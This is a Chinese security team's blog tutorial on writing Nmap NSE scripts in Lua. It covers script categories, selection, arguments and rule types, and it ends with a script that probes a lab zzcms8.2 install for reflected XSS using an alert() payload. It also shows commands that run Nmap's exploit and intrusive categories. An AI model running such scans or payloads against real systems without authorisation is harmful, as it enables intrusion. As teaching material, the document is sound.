紅日安全團隊
團隊成員:yumu 博客:http://sec-redclub.com/team/
紅日安全已經成立兩年之多,團隊之所以發展,全靠一幫小夥伴共同維護成長,大家在團隊已經形成一種共享為榮的隊訓,每兩周周日進行專業知識分享,讓其它小夥伴也快速成長。內部有一些項目也在不斷在填補大家的空白。新的一年紅日需要一些新的血液來提高團隊發展,所以你懂得~~~
紅日Python安全工具小隊招人了!!!! 目前考慮招2--3人,如果你是大牛,你在團隊可以學習的更快,因為有比你的姿勢更好,讓你成長的更快。因為加入人數較多,提前申請我們會酌情考慮。(簡歷發送:sec-redclub@qq.com)
團隊簡歷模板下載:https://pan.baidu.com/s/1JUzq-VbCFh81BBGlEw8cuA
內部學習視頻洩露
Nmap腳本引擎(NSE)革新了Nmap的功能。它是在2007年的谷歌夏令營期間推出,雖然第一個腳本是針對服務和主機檢測,時至今天,已經存在有14個類別涵蓋廣泛的任務,從網絡發現到檢測和利用安全漏洞。既然我們深知NSE的強大,那我們肯定要好好利用它,那麼這篇文章我將引導大家走入NSE腳本的世界,時不我待,趕緊跟我一起行動吧。
shroot@kali:~# nmap -sV -sC scanme.nmap.org
上一個命令運行帶有操作 系統檢測 (-O)的SYN掃描,即 服務檢測(-sV),最重要的是NSE在(-sC)上。 -sC選項啟用NSE並在默認類別中運行任何腳本。 這組腳本被默認為是安全的,它不會執行任何可能會干擾在該服務上運行的服務的目標主機的操作。 但是,某些腳本執行可能引發的操作入侵檢測系統(IDS)和入侵防護系統(IPS)中的警報。
腳本分類
首先我們得了解腳本的分類信息,這樣我們才能更好地把我們自定義的腳本進行歸類利用。
腳本類別描述auth與用戶認證相關的NSE腳本broadcast使用廣播收集網絡信息brute暴力破解default默認,執行腳本(-sC)discovery與主機和服務發現相關的腳本dos與拒絕服務攻擊有關的腳本exploit用於利用安全漏洞的腳本external此類別適用於第三方服務的腳本fuzzerNSE腳本專注於模糊測試intrusive入侵腳本malware與惡意軟體檢測相關的腳本類別safe在所有情況下默認為是安全的腳本vuln與檢測和利用安全漏洞相關的腳本version高級系統腳本NSE腳本選擇Nmap使用 —script選項進行腳本的選擇。 這個選項後面可以是一個腳本名稱,NSE類別,NSE文件的路徑,包含腳本的文件夾,甚至表達式。使用 —script通過腳本名稱或類別進行選擇腳本。Nmap選項會按名稱執行腳本。 執行時用逗號分隔幾個腳本:
直接加腳本名稱nmap --script http-title <target>nmap -p80 --script http-huawei-hg5xx-vuln <target>nmap --script http-title,http-methods <target>
以下屏幕截圖顯示了http-huawei-hg5xx-vuln腳本的輸出。 此腳本利用華為設備中的遠程漏洞進行檢索,檢索的信息包括PPPoE憑證和無線網絡安全配置:
要選擇整個類別,只需使用類別的名稱(請參閱腳本作為參數。 例如,要運行漏洞類別,使用以下命令:nmap --script exploit <target>您也可以用逗號分隔它們來運行多個類別:nmap --script discovery,intrusive <target>-sC選項僅僅是--script默認選項的別名。按文件名或文件夾選擇要執行NSE腳本文件,請使用以下命令:nmap --script /path/to/script.nse <target>與類別類似,可以通過分離路徑來執行多個腳本用逗號分隔:nmap --script /path/to/script.nse,/another/path/script2.nse <target>要執行文件夾中包含的所有腳本,只需要傳遞文件夾名稱舉個慄子:nmap --script/path/to/folder/ <target>nmap --script /custom-nse-scripts/ scanme.nmap.org
高級腳本選擇與表達式表達式用於描述一組腳本。我們可以利用腳本選擇表達式的場景:•舉個慄子:(未利用表達式將匹配任何腳本)使用不屬於exploit類別的腳本:#nmap -sV --script "not exploit" <target>•或和運算符允許我們構造更複雜的表達式。以下表達式將匹配不在intrusive,或者dos,或者exploit類別中的任何腳本。#nmap --script "not(intrusive or dos or exploit)" -sV <target>•如果我們想要執行broadcast和discovery中的所有類別腳本。我們使用:#nmap --script "broadcast and discovery" < target>•甚至可以使用通配符*:#nmap --script "snmp- *" <target>•當然,我們可以結合使用通配符和表達式。例如:讓我們運行名稱以http-開頭的所有腳本,但排除http-slowloris,http-brute,http-form-fuzzer和http-enum腳本:#nmap --script "http-* and not(http-slowloris or http-brute orhttp-enum or http-form-fuzzer)" <target>下一個命令將執行以http開頭的但不在exploit類別中的所有腳本:#nmap --script「http- * not(exploit)」<target>
NSE腳本參數—script-args 選項用於在NSE腳本中設置參數。
還是舉個慄子,設置http-title腳本的參數useragent,
使用這個表達式:
nmap -sV —script http-title —script-args http.useragent =「Mozilla 1337「
當然有時你也可以在忽略腳本名稱設置參數(以下兩條表達意思是一致的):
nmap -p80 —script http-trace —script-args path
nmap -p80 —script http-trace —script-args http-trace.path
如果你使用共享參數名稱的腳本,就必須避免參數衝突。例如下面中的uri參數,公用的時候要是需要進行額外的設置時就必須加上完整的腳本名稱,避免參數之間的衝突。
$ nmap --script http-majordomo2-dir-traversal,http-axis2-dir-traversal--script-args http-axis2-dir-traversal.uri = /axis2/,uri =/majordomo/ <target>$ nmap --script http-majordomo2-dir-traversal,http-axis2-dir-traversal--script-args uri = /axis2/,http-majordomo2-dir-traversal.uri = /majordomo/ <target>
語言準備編寫NSE腳本我們需要有lua程式語言的基礎,可以回去自己學習一下。我這裡簡單列出編寫腳本之前必須了解的一些語法。其他的就自己回去學習吧。轉載於菜鳥教程:http://www.runoob.com/lua/lua-tutorial.html
Lua 特性標示符Lua 標示符用於定義一個變量,函數獲取其他用戶定義的項。標示符以一個字母 A 到 Z 或 a 到 z 或下劃線 _ 開頭後加上0個或多個字母,下劃線,數字(0到9)。最好不要使用下劃線加大寫字母的標示符,因為Lua的保留字也是這樣的。
Lua 不允許使用特殊字符如 @, $, 和 % 來定義標示符。 Lua 是一個區分大小寫的程式語言。因此在 Lua 中 Runoob 與 runoob 是兩個不同的標示符。以下列出了一些正確的標示符:mohd zara abc move_name a_123myname50 _temp j a23b9 retVal
關鍵詞以下列出了 Lua 的保留關鍵字。保留關鍵字不能作為常量或變量或其他用戶自定義標示符:
and break do elseelseif end false forfunction
if in localnil not or repeatreturn then
true untilwhile
一般約定,以下劃線開頭連接一串大寫字母的名字(比如 _VERSION)被保留用於
Lua 內部全局變量Lua 數據類型Lua是動態類型語言,變量不要類型定義,只需要為變量賦值。
值可以存儲在變量中,作為參數傳遞或結果返回。Lua中有8個基本類型分別為:
nil、boolean、number、string、userdata、function、thread和table。數據類型
描述
nil
這個最簡單,只有值nil屬於該類,表示一個無效值(在條件表達式中相當於false)。
boolean 包含兩個值:false和true。number 表示雙精度類型的實浮點數
string 字符串由一對雙引號或單引號來表示
function 由 C 或 Lua 編寫的函數
userdata 表示任意存儲在變量中的C數據結構
thread 表示執行的獨立線路,用於執行協同程序
table Lua 中的表(table)其實是一個"關聯數組"(associative arrays),
數組的索引可以是數字或者是字符串。在 Lua 裡,
table 的創建是通過"構造表達式"來完成,最簡單構造表達式是{},用來創建一個空表。
nil(空)nil 類型表示一種沒有任何有效值,它只有一個值 Lua 變量變量在使用前,必須在代碼中進行聲明,即創建該變量。編譯程序執行代碼之前編譯器需要知道如何給語句變量開闢存儲區,用於存儲變量的值。
Lua 變量有三種類型:全局變量、局部變量、表中的域。
Lua 中的變量全是全局變量,那怕是語句塊或是函數裡,除非用 local 顯式聲明為局部變量。局部變量的作用域為從聲明位置開始到所在語句塊結束。變量的默認值均為
nil。
a = 5
local b = 5
function joke() c = 5 local d = 6 endjoke()print(c,d) do local a = 6 b = 6 print(a,b); endprint(a,b) 執行以上實例輸出結果為:$ lua test.lua 5 nil6 65 6
我們只需要簡單的了解一下它的結構即可,了解它的目錄結構是為了清楚Nse腳本存放的位置。這裡有幾個注意點:
1.編寫的腳本的後綴為nse
2.編寫之後的NSE腳本存放在script文件夾內,這樣腳本才可以生效
3.必須使用—script選項進行調用Nse腳本
NSE腳本的編寫流程在書寫NSE腳本之前我們必須了解它的書寫步驟,為了方便大家理解,我把一個NSE腳本的書寫分為了四步。
1.導入腳本編寫所需庫
2.編寫腳本描述信息
3.確定Rule類型
4.編寫Action
可能此時你還有點蒙,沒關係,我們看一下圖思路就清晰了。
Namp nse 腳本模板結構如圖所示:
文章看到這裡大家肯定想接下來肯定要開始編寫NSE腳本了吧。還不行呢,我們先舉個幾個慄子來說說四個Rule類型的區別。
Rule的四種類型Rule:用於描述腳本的觸發規則,返回值只有true和false兩種。返回值決定了後面action對應的函數是否執行,注意:true(執行),flase(不執行)。它有四種類型分別是Prerule,Hostrule,Portrule,Postrule。
下面的幾個慄子的環境為:
1.Window2.phpstudy3.nmap-7.64.zzcms8.2(對應zzcms.im)
基礎參數擴展
hosttable類型host.os作業系統信息host.iptagret(目標主機)對應的ip,例如下面的127.0.0.1host.nametagert在命令行對應的名字,例如下面的zzcms.imhost.targetname同上host.name,我個人是這樣認為的host.directly_connected判斷目標主機是否與本機在同一個子網host.mac_addrmac地址 (必須是同一子網的設備這個命令才有效)porttable類型port.number埠號port.protocol協議port.service服務 http或httpsport.version版本信息port.state埠狀態Prerule
Prerule會在Namp沒有掃描之前進行觸發。
舉個慄子:我們新建一個prerule.nse文件,然後我們把它存放在script文件夾下。只要」RongRi AnQuan NSE script Prerule test」列印在Namp掃描之前,就可以證明Prerule會在Namp沒有掃描之前進行觸發。
description = [[Prerule test ]]
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}prerule = function(host,port) return trueendaction = function(host, port) return "RongRi AnQuan NSE script Prerule test"end
我們都知道在測試階段我們難免會出現錯誤,那假設我們出現了錯誤我們應該如何解決呢。這時我們需要藉助Nmap的調試模式進行調試。還是老規矩舉個慄子:那我這裡新建一個preruleDebug.nse文件讓它列印系統信息故意讓其出錯(至於為啥會出錯後面會解釋),然後調試一下給大家看。我們只需要加上-d選項即可進入調試模式,那一般我這邊是-d 3,3代表的是等級,等級越高,越詳細。-d 3列印的調試的信息已經足夠詳細了,所以我習慣選擇-d 3.
description = [[prerule test]]
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}prerule = function(host,port) return trueend action = function(host, port) return host.os
end
錯誤界面如圖所示:
調試模式如圖所示:
我們從圖中可以看到出錯原因是因為prerule threw an error!看到詳細原因是因為attempt to index a nil value (local 『host』)意思是說host是個無效值。原因是:我們知道prerule是在Nmap掃描之前觸髮腳本的。那也就是說我們是無法在action中列印出作業系統信息。好了,到這裡大家也應該知道如何調試錯誤了。
聽說,對比產生美
我們都知道對比產生美,那我們在這個錯誤的模板上改一下規則讓它變成hostrule,看看結果如何。
Hostrule
Hostrule會在Namp執行主機發現或探測進行觸發。
舉個慄子:新建一個hostrule.nse文件。複製上面preruleDebug.nse的代碼,但是做一點改動,就是Rule的類型改為Hostrule。然後運行能否列印我們想要的系統信息(嘻嘻,結果當然是成功列印啦)。
description = [[hostrule test]]author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}hostrule = function(host,port) return trueend action = function(host, port) return host.os
end
Portrule
Portrule會在Namp執行埠掃描時觸髮腳本。
舉個慄子:新建portrule.nse文件,代碼如下,然後我們掃描幾個埠然後看看是否在掃描埠的時候列印出「Hongri Anquan yumu」和host.ip。
local stdnse = require "stdnse"local table = require "table"description = [[portrule test]]author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}portrule = function(host,port) return port.protocol == "tcp" and port.state == "open"endfunction action(host,port) local table_input = {} local user = "Hongri Anquan yumu" table.insert(table_input,host.ip) table.insert(table_input,string.format("From: %s", user)) return stdnse.format_output(true, table_input) end
結果如下:
再舉一個慄子:小試牛刀,我們寫一個Nse腳本來獲取zzcms8.2網站上的客服電話號碼。
參數知識擴展
http庫get()發起get請求,請求結果以一個table的形式返回host要請求的主機path要檢索的路徑options可選,允許調用者控制socket,請求頭的tableport要檢索的埠注意小細節
local stdnse = require "stdnse"local table = require "table"local shortport = require "shortport"local http = require "http"local string = require "string"description = [[Get the phone number of the customer service]]author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}portrule = shortport.httpfunction action(host,port) local telephone_number,baseurl baseurl = "/" response = http.get(host,port,baseurl) telephone_number = string.match(response.body,"%d+-%d+") if telephone_number ~= nil then return "consumer hotline:"..telephone_number else return "Hongri Auquan" end end
PostrulePortrule會在Namp結束時觸髮腳本,通常用於掃描結果的數據提取和整理。
舉個慄子: 觸發時候列印」Hongri Anquan test postrule」
description = [[postrule test]]author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe"}postrule = function(host,port) return trueend action = function(host, port) return "Hongri Anquan test postrule"end
初出茅廬,實戰編寫腳本探測zzcms8.2 反射型XSS需要詳細zzcms8.2代碼審計的內容請到:https://bbs.ichunqiu.com/thread-36147-1-1.html
那我這裡本地搭建了環境,然後我先簡單使用火狐測試一下是否存在反射型xss。廢話不說,打字累人,看操作。
嗯,只要玩過web滲透的都應該知道此時源碼當中肯定插入了,這點必須清楚,因為這是我們後面編寫Nse腳本思路。
好。我們來看看圖,確定編寫思路。
看完四步的你應該很清晰如何編寫我們的腳本了,那就開幹吧。我這裡新建一個zzcmsxss.nse,代碼如下:
local http = require "http"local shortport = require "shortport"local string = require "string"local stdnse = require "stdnse"local table = require "table"description = [[Detecting the presence of reflective xss in zzcms8.2]]author = "HongRi yumu"license = "Same as Nmap--See http://nmap.org/book/man-legal.html"categories = {"default","safe","discovery","version"}portrule = function(host,port) return port.protocol == "tcp" and port.state == "open"endlocal FLAG = "alert"action = function(host, port) print("port.numner is : ",port.number) print("port status is : ",port.state) local table_input = {} local xss_exit = "Reflective xss exists" local xss_not_exit = "Reflective xss does not exist" local basepath = stdnse.get_script_args(SCRIPT_NAME .. ".url-path") or '/install/index.php' local options={headers = { ["Accept"]="text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8", ["Accept-Language"]="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", ["Accept-Encoding"]="gzip, deflate", ["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; W…) Gecko/20100101 Firefox/58.0", ["Host"] = host.name, ["Referer"]="http://".. host.name .."/install/index.php", ["Content-Type"]="application/x-www-form-urlencoded", ["Connection"]="Keep-alive", ["Content-length"]=76, ["Upgrade-Insecure-Requests"]=1, } } local postdata = { ["admin"]="admin", ["adminpwdtrue"]="admin<script>alert(1)</script>", ["step"]=6 } local response= http.post(host,port,basepath,options,nil,postdata) if response.status and response.body then if response.status == 200 and string.find(response.body,FLAG) ~= nil then table.insert(table_input,string.format("Final Results: %s",xss_exit)) return stdnse.format_output(true, table_input) else table.insert(table_input,string.format("Final Results: %s",xss_not_exit)) return stdnse.format_output(true, table_input) end endend
結果如下(保存有xml的輸出格式):